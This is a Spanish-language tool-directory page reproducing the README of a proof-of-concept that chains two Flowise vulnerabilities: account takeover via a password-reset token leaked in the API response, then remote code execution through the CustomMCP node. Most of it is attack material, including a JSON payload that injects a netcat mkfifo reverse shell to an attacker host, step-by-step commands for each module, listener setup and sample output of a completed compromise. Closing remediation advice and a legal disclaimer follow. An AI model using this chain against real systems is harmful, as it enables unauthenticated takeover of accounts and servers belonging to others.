Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-58434-AND-59528-POC — PoC modular para CVE-2025-58434 (toma de control de cuenta) y CVE-2025-59528 (RCE) en Flowise. Automatiza la cadena de ataque completa desde la fuga de token no autenticado hasta la ejecución remota de código mediante reverse shell o comando personalizado. | Kitploit
Herramientas/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC modular para CVE-2025-58434 (toma de control de cuenta) y CVE-2025-59528 (RCE) en Flowise. Automatiza la cadena de ataque completa desde la fuga de token no autenticado hasta la ejecución remota de código mediante reverse shell o comando personalizado.

Ver Repositorio
192hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Solo para fines educativos e investigación de seguridad autorizada.
Ejecutar esta herramienta contra sistemas que no poseas o sin permiso por escrito para realizar pruebas es ilegal.


Tabla de contenido

  • Overview
  • Detalles de la vulnerabilidad
    • CVE-2025-58434 — Toma de control de cuenta
    • CVE-2025-59528 — Ejecución remota de código
  • Cadena de ataque completa
  • Versiones afectadas
  • Estructura del repositorio
  • Requisitos
  • Instalación
  • Uso
    • Comportamiento predeterminado
    • Pantalla de ayuda
    • Modo cadena
    • Módulo — ATO
    • Módulo — Login
    • Módulo — RCE
  • Referencia de flags
  • Reverse shell vs comando personalizado
  • Ejemplo de salida
  • Remediación
  • Cronología de divulgación
  • Referencias
  • Aviso legal

  • Descripción general

    Este repositorio combina dos vulnerabilidades críticas en Flowise en una sola herramienta PoC modular.

    CVE-2025-58434CVE-2025-59528
    TipoToma de control de cuentaEjecución remota de código
    Auth requeridaNingunaSí (cualquier cuenta válida)
    CVSS9.8 CríticoCrítico
    AfectadoCloud + AutogestionadoAutogestionado

    Las dos vulnerabilidades se encadenan de forma natural: CVE-2025-58434 proporciona una toma de control de cuenta sin autenticar, lo que satisface el requisito de autenticación para CVE-2025-59528 — logrando RCE sin autenticar en una sola ejecución automatizada.


    Detalles de la vulnerabilidad

    CVE-2025-58434 — Toma de control de cuenta

    Causa raíz: El endpoint forgot-password devuelve el token de restablecimiento de contraseña (tempToken) directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo solo por correo electrónico.

    Pasos del ataque:

    1. POST /api/v1/account/forgot-password con cualquier correo electrónico registrado
    2. Leer tempToken de la respuesta JSON — sin necesidad de acceso al correo
    3. POST /api/v1/account/reset-password con el token filtrado → establecer una nueva contraseña
    4. Iniciar sesión como la víctima

    Respuesta filtrada (recortada):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — Ejecución remota de código

    Causa raíz: El nodo CustomMCP pasa el mcpServerConfig proporcionado por el usuario directamente al constructor Function() de JavaScript sin sanitización. Dado que Flowise se ejecuta en Node.js, el código inyectado tiene acceso completo a child_process, fs y todos los módulos integrados de Node.js.

    Ruta de código vulnerable:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← entrada de usuario sin sanitizar
    

    Encabezados requeridos:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Payload de inyección predeterminado (reverse shell):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Nota: Los payloads de reverse shell usan cp.exec() (asíncrono / dispara y olvida) para que la solicitud HTTP regrese inmediatamente y la herramienta no agote el tiempo de espera. Los comandos regulares usan cp.execSync() y devuelven la salida en línea.


    Cadena de ataque completa

    root@kitploit:~
    Atacante                              API de Flowise
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token filtrado en la respuesta
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken borrado)          │  ← ATO completado
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies extraídas
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() se ejecuta en segundo plano]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Listener nc del atacante ←───────────── El servidor se conecta de vuelta
       ✓  RCE completo desde cero credenciales
    

    Versiones afectadas

    ComponenteEstado
    Flowise Cloud (cloud.flowiseai.com)Afectado por CVE-2025-58434
    Flowise autogestionado (todas las versiones anteriores al parche)Afectado por ambos CVEs

    Consulta los avisos de seguridad oficiales de Flowise para los números de versión con parche.


    Estructura del repositorio

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # PoC principal — todos los módulos + modo cadena
    ├── requirements.txt    # Dependencias de Python
    ├── README.md           # Este archivo
    └── DISCLAIMER.md       # Aviso legal completo
    

    Requisitos

    • Python 3.7+
    • Biblioteca requests

    Instalación

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Uso

    Comportamiento predeterminado

    No se requiere ninguna flag de modo. Si ejecutas el script sin --chain o --module, se ejecuta automáticamente en modo cadena completo. El payload de RCE predeterminado es un reverse shell — solo proporciona --lhost y --lport.

    root@kitploit:~
    # Invocación mínima — cadena completa + reverse shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Inicia tu listener antes de ejecutar:

    root@kitploit:~
    nc -lvnp 4444
    

    Pantalla de ayuda

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Modo cadena

    Ejecuta los cuatro pasos de extremo a extremo: filtrar token → restablecer contraseña → iniciar sesión → RCE.

    root@kitploit:~
    # Reverse shell (payload predeterminado)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Comando personalizado en lugar de reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Contraseña ATO personalizada + reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Módulo — ATO

    Filtrar el tempToken y restablecer la contraseña de la cuenta. Se detiene antes del inicio de sesión/RCE.

    root@kitploit:~
    # Nueva contraseña predeterminada
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Nueva contraseña personalizada
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Imprimir respuesta JSON sin procesar
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Módulo — Login

    Autenticar y extraer las tres cookies de sesión para uso manual.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # Salida JSON para scripting
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Módulo — RCE

    Ejecutar en el servidor. Inicia sesión automáticamente si no se proporciona --token.

    root@kitploit:~
    # Reverse shell — inicio de sesión automático
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Comando personalizado — inicio de sesión automático
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Token manual — reverse shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # Las tres cookies manualmente
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Referencia de flags

    Modo (todos opcionales — el predeterminado es --chain)

    FlagDescripción
    --chainCadena completa: ATO → Login → RCE
    --module atoSolo toma de control de cuenta
    --module loginSolo inicio de sesión y extracción de cookies
    --module rceSolo RCE

    Objetivo

    FlagCortaDescripciónObligatorio
    --url-uURL base de la instancia de FlowiseSiempre
    --email-eCorreo electrónico del objetivo / inicio de sesiónSiempre

    Opciones de ATO

    FlagCortaDescripciónPredeterminado
    --new-password-pContraseña establecida en la cuenta víctima después del ATOFlowise@Pwn3d2025!

    Opciones de autenticación

    FlagCortaDescripción
    --login-password-PContraseña para el módulo de inicio de sesión / inicio de sesión automático de RCE
    --token—Proporcionar manualmente la cookie token (omite inicio de sesión)
    --refresh-token—Proporcionar manualmente la cookie refreshToken
    --connect-sid—Proporcionar manualmente la cookie connect.sid

    Opciones de RCE

    FlagCortaDescripciónPredeterminado
    --lhost—IP del atacante para el reverse shell—
    --lport—Puerto del atacante para el reverse shell—
    --command-cComando de sistema operativo personalizado (sustituye a revshell)id si no hay lhost/lport

    Varios

    FlagCortaDescripciónPredeterminado
    --timeout-tTiempo de espera HTTP (segundos)15
    --json-output-jImprimir respuestas JSON sin procesarfalse

    Reverse shell vs comando personalizado

    El script elige automáticamente el modo de ejecución correcto:

    EscenarioPayload utilizadoComportamiento HTTP
    --lhost + --lport (sin -c)one-liner mkfifo netcatcp.exec() — asíncrono, regresa inmediatamente
    -c "..." que contenga nc/mkfifo/bash -idetectado como revshellcp.exec() — asíncrono, regresa inmediatamente
    -c "id" o cualquier otro comando normalcomando de usuariocp.execSync() — bloquea, devuelve salida
    sin -c, sin --lhostidcp.execSync() — bloquea, devuelve salida

    La ejecución asíncrona significa que la solicitud HTTP se completa al instante — sin errores de tiempo de espera en los payloads de reverse shell.


    Ejemplo de salida

    root@kitploit:~
      [Paso 1] [CVE-2025-58434] Solicitando token de forgot-password ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        DATOS DE CUENTA FILTRADOS
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] VULNERABLE — token divulgado sin autenticación!
    
      [Paso 2] [CVE-2025-58434] Restableciendo contraseña → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Restablecimiento de contraseña EXITOSO (tempToken borrado)
      [+] Toma de control de cuenta completada → [email protected] / Flowise@Pwn3d2025!
    
      [Paso 3] [Auth] Iniciando sesión para extraer cookies de sesión ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        COOKIES DE SESIÓN EXTRAÍDAS
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Paso 4] [CVE-2025-59528] Ejecutando RCE a través de CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        RESULTADO DE RCE
      ────────────────────────────────────────────────────────────────────
      Modo    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Payload de reverse shell disparado!
      [!] Esperando conexión en 10.10.16.35:4444 ...
      [!] Asegúrate de que tu listener esté corriendo: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] CADENA COMPLETADA
    

    Remediación

    Para CVE-2025-58434

    • Nunca devolver tokens en las respuestas de la API. Enviar el tempToken solo por correo electrónico registrado.
    • Devolver un mensaje de éxito genérico independientemente de si el correo existe (evita enumeración).
    • Hacer que los tokens sean de un solo uso, de corta duración (≤15 min) y vinculados al contexto de la solicitud.
    • Limitar la tasa del endpoint forgot-password.

    Para CVE-2025-59528

    • Nunca pasar la entrada del usuario a Function(), eval() o vm.runInThisContext().
    • Analizar mcpServerConfig como solo datos (por ejemplo, JSON.parse()) — nunca ejecutarlo.
    • Si se requiere evaluación dinámica, usar un sandbox aislado con un contexto restringido.
    • Aplicar validación estricta de entrada y una lista blanca de claves de configuración permitidas.

    General

    • Aplicar parches en implementaciones cloud y autogestionadas.
    • Habilitar registro y alertas en los endpoints de restablecimiento de contraseña y node-load-method.
    • Considerar MFA para todas las cuentas de administrador.

    Cronología de divulgación

    FechaEvento
    2025-08-19CVE-2025-58434 descubierto y reportado
    TBDCVE-2025-59528 descubierto y reportado
    TBDReconocimiento del proveedor
    TBDParche publicado
    TBDDivulgación pública

    Referencias

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: Mecanismo débil de recuperación de contraseña
    • CWE-94: Control inadecuado de la generación de código

    Aviso legal

    Solo para fines educativos y pruebas de penetración autorizadas.
    Consulta DISCLAIMER.md para el aviso legal completo.

    Descargar herramienta